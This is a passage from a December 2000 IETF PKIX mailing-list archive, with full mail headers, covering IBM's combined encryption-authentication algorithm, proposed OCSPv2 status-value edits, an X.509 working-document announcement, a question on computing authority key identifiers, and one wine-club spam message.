text/plain Content-ID: <20001121110902.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-jutla-ietf-ipsec-esp-iapm-00.txt ------=_NextPart_000_0363_01C05D0F.039BAB00 Content-Type: Message/External-body; name="draft-jutla-ietf-ipsec-esp-iapm-00.txt" Content-Disposition: attachment; filename="draft-jutla-ietf-ipsec-esp-iapm-00.txt" Content-Transfer-Encoding: 7bit Content-Type: text/plain Content-ID: <20001121110902.I-D@ietf.org> ------=_NextPart_000_0363_01C05D0F.039BAB00-- ------=_NextPart_000_0366_01C05D0F.03C66480-- From owner-ietf-pkix@imc.org Sun Dec 3 11:44:25 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15279 for ; Sun, 3 Dec 2000 11:44:24 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA17641; Sun, 3 Dec 2000 08:41:43 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sun, 3 Dec 2000 08:41:22 -0800 Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA17592 for ; Sun, 3 Dec 2000 08:41:21 -0800 (PST) Received: (qmail 29753 invoked from network); 3 Dec 2000 16:43:13 -0000 Received: from taurus.hosting4u.net (209.15.2.33) by mail-gate.hosting4u.net with SMTP; 3 Dec 2000 16:43:13 -0000 Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Sun, 03 Dec 2000 10:43:11 -0600 Message-ID: <3A2A771B.B81DA3C8@nma.com> Date: Sun, 03 Dec 2000 08:38:51 -0800 From: Ed Gerck X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Peter Lipp CC: Ed Gerck , Anders Rundgren , PKIX-List Subject: Re: AW: not first, Re: New IBM algorithm encrypts and authenticates simultaneously References: Content-Type: text/plain; charset=iso-8859-1 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id IAA17641 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id LAA15279 Peter Lipp wrote: > >It is not true that IBM's was the first algorithm to simultaneously > >encrypt and certify information. > > All they claim is they were the first doing it in half the time :-) Yes, you can read the first phrase this way too -- whatever half the time is ;-) But in the news piece you read: "By combining the two steps, this security algorithm will help accelerate e-business processes throughout the industry.” " So, the key issue here is "combining the two steps". It is a very important development by IBM. This IBM announcement is important (and thanks to Anders for copying it here) because it may be another drive, and a strong one, to look into certification models that can provide (fro example) non-repudiation by including encrypted secrets that require the cooperation of the certificate holder in order to be revealed. These models may also need to interface/interoperate with PKIX as they advance. > >>New algorithm first to perform encryption and authentication > simultaneously in half the time > > Is there any pointer to a more technical description of that? I did not find any further info on IBM's algorithm but maybe Tom Gindin or someone from IBM in this list might be able to help? Cheers, Ed Gerck From owner-ietf-pkix@imc.org Sun Dec 3 16:50:55 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA17635 for ; Sun, 3 Dec 2000 16:50:55 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA05029; Sun, 3 Dec 2000 13:48:01 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Sun, 3 Dec 2000 13:47:19 -0800 Received: from corp.tivoli.com (corp.tivoli.com [216.140.178.60]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA04982 for ; Sun, 3 Dec 2000 13:47:17 -0800 (PST) From: Mark_Vandenwauver@tivoli.com Received: from schub.tivoli.com (schub.tivoli.com [146.84.104.17]) by corp.tivoli.com (8.9.3/8.9.0) with ESMTP id PAA16027; Sun, 3 Dec 2000 15:49:02 -0600 (CST) Importance: Normal Subject: Re: AW: not first, Re: New IBM algorithm encrypts and authenticates simultaneously To: Ed Gerck Cc: Peter Lipp , Ed Gerck , Anders Rundgren , PKIX-List X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: Date: Sun, 3 Dec 2000 15:48:57 -0600 X-MIMETrack: Serialize by Router on SCHub/Tivoli Systems(Release 5.0.4a |July 24, 2000) at 12/03/2000 03:48:10 PM MIME-Version: 1.0 Content-type: text/plain; charset=big5 X-MIME-Autoconverted: from base64 to 8bit by ns.secondary.com id NAA04983 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id NAA05029 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id QAA17635 Ed et all, Details can be found at http://csrc.nist.gov/encryption/aes/modes/jutla-auth.pdf Regards, Mark Mark Vandenwauver, PhD Senior Security Architect Tivoli e-Zone Solutions Designs and Customer Projects Bridgepoint III 6300 BridgePoint Parkway Building III - Office A5004 Austin, Tx 78731 e-mail: Mark_Vandenwauver@tivoli.com WWW: http://www.tivoli.com/security Telephone: +1(512)436-1585 Fax: +1(512)436-1199 Tivoli - an IBM division Ed Gerck on 12/03/2000 10:38:51 AM To: Peter Lipp cc: Ed Gerck , Anders Rundgren , PKIX-List (bcc: Mark Vandenwauver/Tivoli Systems) Subject: Re: AW: not first, Re: New IBM algorithm encrypts and authenticates simultaneously Peter Lipp wrote: > >It is not true that IBM's was the first algorithm to simultaneously > >encrypt and certify information. > > All they claim is they were the first doing it in half the time :-) Yes, you can read the first phrase this way too -- whatever half the time is ;-) But in the news piece you read: "By combining the two steps, this security algorithm will help accelerate e-business processes throughout the industry.” " So, the key issue here is "combining the two steps". It is a very important development by IBM. This IBM announcement is important (and thanks to Anders for copying it here) because it may be another drive, and a strong one, to look into certification models that can provide (fro example) non-repudiation by including encrypted secrets that require the cooperation of the certificate holder in order to be revealed. These models may also need to interface/interoperate with PKIX as they advance. > >>New algorithm first to perform encryption and authentication > simultaneously in half the time > > Is there any pointer to a more technical description of that? I did not find any further info on IBM's algorithm but maybe Tom Gindin or someone from IBM in this list might be able to help? Cheers, Ed Gerck From owner-ietf-pkix@imc.org Mon Dec 4 03:47:43 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA17999 for ; Mon, 4 Dec 2000 03:47:43 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id AAA13161; Mon, 4 Dec 2000 00:45:14 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 4 Dec 2000 00:45:03 -0800 Received: from gatekeeper.itsec-debis.de ([195.227.50.6]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA13107 for ; Mon, 4 Dec 2000 00:45:01 -0800 (PST) Received: from gatekeeper (gatekeeper [192.168.2.1] (may be forged)) by gatekeeper.itsec-debis.de (8.8.8+Sun/8.8.8) with SMTP id JAA01453 for ; Mon, 4 Dec 2000 09:49:31 +0100 (MET) Received: by itsec-debis.de id KAA06852; Mon, 4 Dec 2000 10:08:05 +0100 Message-ID: <3A2B5BE6.F673C596@debis.com> Date: Mon, 04 Dec 2000 09:55:02 +0100 From: "Dr. Johannes Ueberberg" Organization: debis Systemhaus Information Security Services GmbH X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf-pkix@imc.org Subject: Unsubscribe Content-Type: multipart/mixed; boundary="------------5D5DF4FF004223124BA17E13" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a multi-part message in MIME format. --------------5D5DF4FF004223124BA17E13 Content-Type: text/plain; charset=iso-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by itsec-debis.de id KAA06852 Content-Transfer-Encoding: quoted-printable -- *********************************************************************** Dr. Johannes Ueberberg debis IT Security Services Windeckstra=DFe 5 D-53111 Bonn Tel: +49 (0)228 9841 513 Fax: +49 (0)228 9841 881 E-mail: j.ueberberg@debis.com Internet: www.itsec-debis.de ************************************************************************ --------------5D5DF4FF004223124BA17E13 Content-Type: text/x-vcard; charset=us-ascii; name="j.ueberberg.vcf" Content-Description: Card for Dr. Johannes Ueberberg Content-Disposition: attachment; filename="j.ueberberg.vcf" X-MIME-Autoconverted: from 8bit to quoted-printable by itsec-debis.de id KAA06852 Content-Transfer-Encoding: quoted-printable begin:vcard=20 n:Ueberberg;Johannes tel;fax:++49 (0) 228 9841 60 tel;work:++49 (0) 228 9841 513 x-mozilla-html:FALSE url:www.itsec-debis.de org:debis IT Security Services adr:;;Rabinstra=DFe 8;D-53111 Bonn;Germany;; version:2.1 email;internet:j.ueberberg@debis.com title:Dr. Johannes Ueberberg fn:Dr. Johannes Ueberberg end:vcard --------------5D5DF4FF004223124BA17E13-- From owner-ietf-pkix@imc.org Mon Dec 4 06:46:35 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA16922 for ; Mon, 4 Dec 2000 06:46:34 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id DAA06960; Mon, 4 Dec 2000 03:41:57 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 4 Dec 2000 03:41:45 -0800 Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA06911 for ; Mon, 4 Dec 2000 03:41:43 -0800 (PST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA15931; Mon, 4 Dec 2000 06:43:37 -0500 (EST) Message-Id: <200012041143.GAA15931@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-pkix@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-pkix-cmp-transport-protocols-03.txt Date: Mon, 04 Dec 2000 06:43:36 -0500 Sender: nsyracus@cnri.reston.va.us Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF. Title : Transport Protocols for CMP Author(s) : A. Kapoor, R. Tschalar Filename : draft-ietf-pkix-cmp-transport-protocols-03.txt Pages : Date : 01-Dec-00 This document describes how to layer Certificate Management Protocols [CMP] over various transport protocols. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-pkix-cmp-transport-protocols-03.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-pkix-cmp-transport-protocols-03.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-pkix-cmp-transport-protocols-03.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001201132116.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-pkix-cmp-transport-protocols-03.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-pkix-cmp-transport-protocols-03.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001201132116.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-pkix@imc.org Mon Dec 4 15:55:07 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA26670 for ; Mon, 4 Dec 2000 15:55:06 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA23813; Mon, 4 Dec 2000 12:52:17 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 4 Dec 2000 12:52:00 -0800 Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA23763 for ; Mon, 4 Dec 2000 12:51:58 -0800 (PST) Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id MAA16486 for ; Mon, 4 Dec 2000 12:55:33 -0800 (PST) Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21) id ; Mon, 4 Dec 2000 12:53:55 -0800 Message-ID: <2F3EC696EAEED311BB2D009027C3F4F401C5BEC8@vhqpostal.verisign.com> From: Michael Myers To: ietf-pkix@imc.org Subject: Proposed edits to OCSPv2 -01 Date: Mon, 4 Dec 2000 12:53:54 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Denis, all: Here's a bit of a longish note proposing some edits to draft-ietf-pkix-ocspv2-01.txt that get us to -02 and last call. In summary: 1. Change "good" to "not revoked"; add "valid", "invalid", "suspended" and "expired" states; add corresponding semantic and normative text. 2. Add unsupportedOption and unrecognizedIdentifer to error cases. 3. Add normative text regarding the use of CRLs. In the case of the "good" vs. "not revoked" revision, the bits on the wire don't change, nor is there any essential change in semantics. In effect, all that's changing is the abstract symbol. The only hit might be to environments that are using "good" to mean "valid" in the delegated path validation sense. I doubt anyone's doing that, but if you are and this change hits you, please let us know. Otherwise, all you're going to have is some source that uses "good" as a compile-time symbol while the new standard says "not revoked" but once the compile is done the corresponding ASN.1 value [0] doesn't change anyway so interoperability is preserved; nor are there any fundamental semantic changes. Also, the new values will go on the end of the end of the CertStatus choice with tag numbers > [2] so there's no hit there either for v1 environments. Same for the new error conditions, which are only v2-relevant. One other thing. Many environments use a sequence of "revoked" and "not revoked" to achieve a suspension effect. Those who do so should take care to read and comment on the new text "2.8 Use of CRLs" located at the end of this note, especially given the proposal for a unique "suspended" response value. With regards to all, Mike 2.2 Response ------------- CURRENT -01 TEXT OCSP responses can be of various types. An OCSP response consists of a response type and the bytes of the actual response. There is one basic type of OCSP response that MUST be supported by all OCSP servers and clients. The rest of this section pertains only to this basic response type. PROPOSED -02 TEXT OCSP responses can be of various types, corresponding to various services. An OCSP response consists of a response type and the bytes of the actual response. This document defines one standard response syntax, BasicOCSPResponse, and one standard service, id-pkix-ocsp-basic (see Section 4.2.1). The BasicOCSPResponse syntax MAY be used for other OCSP services not defined in this document. However, the id-pkix-ocsp-basic service identifier SHALL only be used to report on the revocation status of a certificate (i.e. "revocation service"). OCSP servers SHALL be capable of supporting revocation service. Environments that deploy OCSP for services other than revocation service are NOT required to activate the revocation service feature of their OCSP servers. CURRENT -01 TEXT A basic response message is composed of: PROPOSED -02 TEXT The BasicOCSPResponse syntax is composed of: CURRENT -01 TEXT This specification defines the following definitive response indicators for use in the certificate status value: -- good -- revoked -- unknown The "good" state indicates a positive response to the status inquiry. When used in in a basic response, this positive response value indicates that the responder has current revocation information from the CA tha issued the certificate and that the certificate is not revoked, but does not necessarily mean that the certificate was ever issued or that the time at which the response was produced is within the certificate's validity interval. Other response types or response extensions may be used to convey additional information on assertions made by the responder regarding the status of the certificate such as positive statement about issuance, validity, etc. The "revoked" state indicates that the certificate has been revoked (either permanantly or temporarily (on hold)). The "unknown" state indicates that the responder doesn't know about the certificate being requested. PROPOSED -02 TEXT This specification defines the following definitive status values for use in BasicOCSPResponse: -- not revoked -- revoked -- unknown -- valid -- invalid -- suspended -- expired The "not revoked" value SHALL be used to indicate that the responder has current revocation information from the CA that issued the certificate and that that information indicates that the certificate is not revoked. The "not revoked" value MAY be returned for a previously revoked certificate that has expired as defined below. The "revoked" value SHALL be used to indicate that the revocation information currently available to the responder identifies the certificate as in that state. The "not revoked" value MAY be returned for a previously revoked certificate that has expired as defined below. The "revoked" value MAY be returned for a previously-revoked certificate whose notAfter validity field has expired as defined below. The "unknown" value SHALL be used to indicate that the responder does not recognize the certificate as being among those for which it is authoritative. When used in conjunction with id-pkix-ocsp-basic, "unknown" SHALL be interpreted as revocation status unknown. The "valid" value SHALL be used to indicate that the certificate at a minimum satisifes the path validation logic defined in RFC 2459. Correspondingly, the "invalid" value SHALL be used to indicate that the certificate at a minimum fails to satisfy RFC 2459 path validation rules. Environments with a need to use these values MAY define service identifiers(i.e. OIDS) that uniquely identify the full set of practices and policies undertaken to confirm a certificate's validity within their environment. Such practices and policies MAY include an assessment of the certificate's suitability for a given purpose or function in excess of the required compliance to RFC2459 path validation rules. The "valid" and "invalid" values SHALL NOT be returned in a id-pkix-ocsp-basic response. The "suspended" value SHALL be used to indicate that the responder has current information from the CA named in the certificate indicating that the certificate is suspended but not yet permanently revoked. OCSP responders MAY use a well-ordered sequence of "revoked" and "not revoked" responses to achieve the same effect. The "suspended" value MAY be returned for certificate that has expired as defined below. The "expired" value SHALL be used to indicate that the responder has confirmed on the basis of its (the responder's) time base that the notAfter value in the certificate's Validity field is less than the current time as indicated by the responder's time base. Requirements governing the reliability of a responder's time base is beyond the scope of this specification. 2.3 Exception Cases -------------------- CURRENT -01 TEXT -- malformedRequest -- internalError -- tryLater -- sigRequired -- unauthorized -- noMoreData PROPOSED -02 TEXT -- malformedRequest -- internalError -- tryLater -- sigRequired -- unauthorized -- noMoreData -- unsupportedOption -- unrecognizedIdentifier "unsupportedOption" indicates that the responder recognizes the syntax of the request but does not support or is not being operated to support one or more service options specified in the request. If the request is v1, the responder SHALL return "malformedRequest" rather than "unsupportedOption". "unrecognizedIdentifier" indicates that the responder cannot identify the certificate using the certificate identifier supplied in the request. If the request is v1, the responder SHALL return "malformedRequest" rather than "unrecognizedIdentifier". CURRENT -01 TEXT A server produces the "malformedRequest" response if the request received does not conform to the OCSP syntax. ^^^^ PROPOSED -02 TEXT A server produces the "malformedRequest" response if the request received does not conform to the required syntax. ^^^^^^^^ 2.5 Response Pre-production CURRENT -01 TEXT The time at or before which newer information will be available is reflected in the nextUpdate field, while the time at which ^^^^^^^^^^^^ the response was produced will appear in the producedAt field ^^^^ of the response. PROPOSED -02 TEXT The time at or before which newer information will be available SHALL appear in the nextUpdate field, while the time at which ^^^^^^^^^^^^ the response was produced SHALL appear in the producedAt field ^^^^^ of the response. 2.6 OCSP Signature Authority Delegation ---------------------------------------- CURRENT -01 TEXT A certificate's issuer explicitly delegates OCSP signing authority ^^^^^^^^^^ ^ PROPOSED -02 TEXT A certificate's issuer MAY explicitly delegate OCSP signing authority ^^^ 2.8 Use of CRLs (new section) PROPOSED -02 TEXT An id-pkix-ocsp-basic response MAY be produced using a data source other than CRLs. Environments providing both id-pkix-ocsp-basic service and CRL maintenance service SHOULD ensure that both are synchronized with respect to the values of "revoked" and "not revoked" for certificates that are simultaneously subject to both services. Such environments MAY exclude from the corresponding CRL certificates for which the value of "suspended" would be returned in their id-pkix-ocsp-basic service. [Notes to reviewers of this new section. The essential issues are these: 1. OCSP does not now nor ever has *required* the use of CRLs although the practice is known to be useful in some environments. This clearly needs to be better spelled out since it continues to come up. 2. Where CRLs *are* relevant, a degree of synchronicity is vital. A situation where, for example, there exists a "not revoked" OCSP response in the presence of a CRL listing a certificate is clearly a bad thing (or a good thing if you're a lawyer representing a party seeking remedy.) 3. Suspension is a PITA with CRLs but easy with OCSP. Since OCSP revocation service isn't intrinsically linked to CRLs, we need to ensure that we avoid creating a situation where the only reason to implement CRL-based suspension is to deliver "suspended" responses. If that situation were to obtain, it's a sure bet there'd be very few if any "suspended" responses being exchanged across the Internet. We'd all be back to the revoked/not revoked hack.] From owner-ietf-pkix@imc.org Mon Dec 4 18:20:13 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA14116 for ; Mon, 4 Dec 2000 18:20:12 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA03061; Mon, 4 Dec 2000 15:17:16 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 4 Dec 2000 15:16:22 -0800 Received: from mail.winealley.com (IDENT:qmailr@mail.winealley.com [194.3.190.130]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA02965 for ; Mon, 4 Dec 2000 15:16:20 -0800 (PST) From: francois.xavier.bodin@winealley.com Message-Id: <200012042316.PAA02965@ns.secondary.com> Received: (qmail 30657 invoked from network); 4 Dec 2000 23:18:17 -0000 Received: from mail.winealley.com (HELO localhost) (chins@194.3.190.130) by mail.winealley.com with SMTP; 4 Dec 2000 23:18:17 -0000 Subject: Meet us on Wine Alley Content-type: text/plain; charset="iso-8859-1" Mime-version: 1.0 To: ietf-pkix@imc.org Date: Tue, 5 Dec 2000 00:18 +0100 X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id PAA02966 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id PAA03061 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id SAA14116 Hello! I found your address on a site about wine, food and good living. I thought that you will be interested by the services that our site offers. www.wine-alley.com is a virtual Club for all those interested in wine in both a professional and personal capacity. We now have more than 3900 members, both amateur and in the trade who use our site to discuss wine, buy and sell it and tell us about the best sources. Club members use the Newsgroup of www.wine-alley.com to exchange information and experiences. Only the other day someone asked how much a certain rare wine was worth, I asked for more information about the grape variety, which doesn't grow in France. Currently there have been more than 711 questions and replies. There is also the small ads. column. Among the 6 adverts placed this week there have been some really good deals including a magnum of 1945 Pichon Lalande and a 1947 Cheval blanc! Let me make it clear - www.wine-alley.com itself does not sell or buy wine: we simply offer our members the facilites for making their own arrangements. www.wine-alley.com is also a site supplying information in real time, particularly the latest news from winegrowers and makers via the French Press Agency (AFP). We also have a database of more than 21,000 wines with information supplied directly to the site by winegrowers co-operatives and specialist magazines. I should be delighted if you would come and join us. At www.wine-alley.com you will find similarly-minded people who just want to share their love of wine. Kind regards François Xavier Bodin, Manager of the Online Club fx.bodin@winealley.com PS. Registering with the www.wine-alley.com club is absolutely free and commits you to nothing. If you are not interested in my offer, please excuse this letter; I am sorry to have bothered you. To prevent further unwanted intrusions please click on the following link, your email will be automatically removed from our list. http://www.wine-alley.com/wines/desmail.asp?id=291663&l=uk From owner-ietf-pkix@imc.org Tue Dec 5 01:05:08 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA03684 for ; Tue, 5 Dec 2000 01:05:08 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id WAA17367; Mon, 4 Dec 2000 22:01:15 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 4 Dec 2000 22:01:03 -0800 Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id WAA17335 for ; Mon, 4 Dec 2000 22:01:02 -0800 (PST) Received: from [38.29.124.117] (ip117.phoenix12.az.pub-ip.psi.net [38.29.124.117]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id BAA15439; Tue, 5 Dec 2000 01:01:57 -0500 (EST) Mime-Version: 1.0 X-Sender: hoytkesterson@mail.earthlink.net Message-Id: Date: Mon, 4 Dec 2000 22:59:34 -0700 To: "X.509":; From: "Hoyt L. Kesterson II" Subject: New work begining on X.509 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe hello all With the upcoming publication of the 4th edition of X.509, the directory group has begun preparing for the fifth edition. That edition will include the fixes for defects resolved over the next few years as well as needed enhancements. A working document (WD) was prepared at our recent meeting in November in Orlando. We are seeking comments on, and contributions to, the next revision of this WD. Our next meeting is in Geneva 29 January through Groundhog Day (2 February - where we hope not to repeat Bill Murray's experiences) 2001. Sharon Boeyen of Canada is continuing as editor with Hirosato Tsuji of Japan responsible for some portions of the document The WD in Office 98 and PDF formats can be found at ftp://ftp.bull.com/pub/OSIdirectory/Orlando2000Output/X.509EnhancementsWD.doc ftp://ftp.bull.com/pub/OSIdirectory/Orlando2000Output/X.509EnhancementsWD.pdf hoyt From owner-ietf-pkix@imc.org Tue Dec 5 02:55:53 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA20648 for ; Tue, 5 Dec 2000 02:55:52 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA28828; Mon, 4 Dec 2000 23:53:22 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Mon, 4 Dec 2000 23:53:15 -0800 Received: from sina.com ([202.106.187.167]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA28748 for ; Mon, 4 Dec 2000 23:53:05 -0800 (PST) Received: (qmail 22377 invoked by uid 99); 5 Dec 2000 07:55:11 -0000 Message-ID: <20001205075511.22376.qmail@sina.com> From: pki_wby_cn To: ietf-pkix@imc.org Subject: Who can help me? Date: Tue Dec 5 07:55:10 2000 X-Mailer: SinaMail 3.0Beta (FireToad) X-Priority: 3 Content-Type: multipart/mixed; boundary="----------97600291022223SINAEMAIL---" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a multi-part message in MIME format. ------------97600291022223SINAEMAIL--- Content-Disposition: inline Content-Type: text/plain;charset="gb2312" Content-Transfer-Encoding: binary hello, all: In rfc2459, there are two methods to calculate authority key identifier: (1) 160-bit SHA-1 hash of the value of the BIT STRING subjectPublicKey (excluding the tag,length,and number of unused bits) (2) a four bit type field with the value 0100 followed by the least significant 60 bits of SHA-1 hash of the value of the BIT STRING subjectPublicKey Here is the public key of a thawte CA cert (the attchment contain this public key) : 3081 8902 8181 00B3 695A 97D4 D016 0B7A B5C5 5DE9 219C 2372 CD12 4C4B F77E CFC7 FBCA 7224 F442 52AC 5795 E37B 617A 1784 E7FD 7239 3894 B4EA ED65 A792 065E BDE0 65F6 19BB 9479 764C 3EB9 6870 7584 1CF4 1174 00BC 052C 4F09 0317 31CC F441 D472 C6A6 5DE2 8844 B08B 2EC4 4DF1 F0D6 853E 6CF3 9594 7891 7E40 E99C D18D 1557 8EC2 73E5 30DE 46F5 4F02 0301 0001 In the user certificate, the authority key identifier is : 88AB F160 8366 55F4 E458 C746 1DC0 61BD 23D7 C38C I calculate according the first method, but got the result: 4B7E E315 BBE3 2BEA 15C8 5F3C AB2E 3F36 880E 64A3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Please tell me why I cannot got the correct result ???????? ______________________________________ ------------97600291022223SINAEMAIL--- Content-Disposition: inline;filename="pubkey.der" Content-Type: application/x-msdownload; name="pubkey.der" Content-Transfer-Encoding: base64 MIGJAoGBALNpWpfU0BYLerXFXekhnCNyzRJMS/d+z8f7ynIk9EJSrFeV43theheE5/1yOTiUtOrtZaeSBl694GX2GbuUeXZMPrlocHWEHPQRdAC8BSxPCQMXMcz0QdRyxqZd4ohEsIsuxE3x8NaFPmzzlZR4kX5A6ZzRjRVXjsJz5TDeRvVPAgMBAAE= ------------97600291022223SINAEMAIL----- =================================================================== PB@KCb7Q5gWSSJOd http://mail.sina.com.cn PB@KMF3v0BTK6LPEO"JV;z5c2%7~Nq http://sms.sina.com.cn/ From owner-ietf-pkix@imc.org Tue Dec 5 05:08:33 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA20959 for ; Tue, 5 Dec 2000 05:08:33 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id CAA17166; Tue, 5 Dec 2000 02:05:54 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Tue, 5 Dec 2000 02:05:39 -0800 Received: from berit.xware.se (xware.se [195.43.225.34]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA17125 for ; Tue, 5 Dec 2000 02:05:38 -0800 (PST) Received: from matsburk.xware.se by berit.xware.se (8.8.0/8.8.0) with ESMTP id LAA25427 for ; Tue, 5 Dec 2000 11:08:37 +0100 Message-Id: 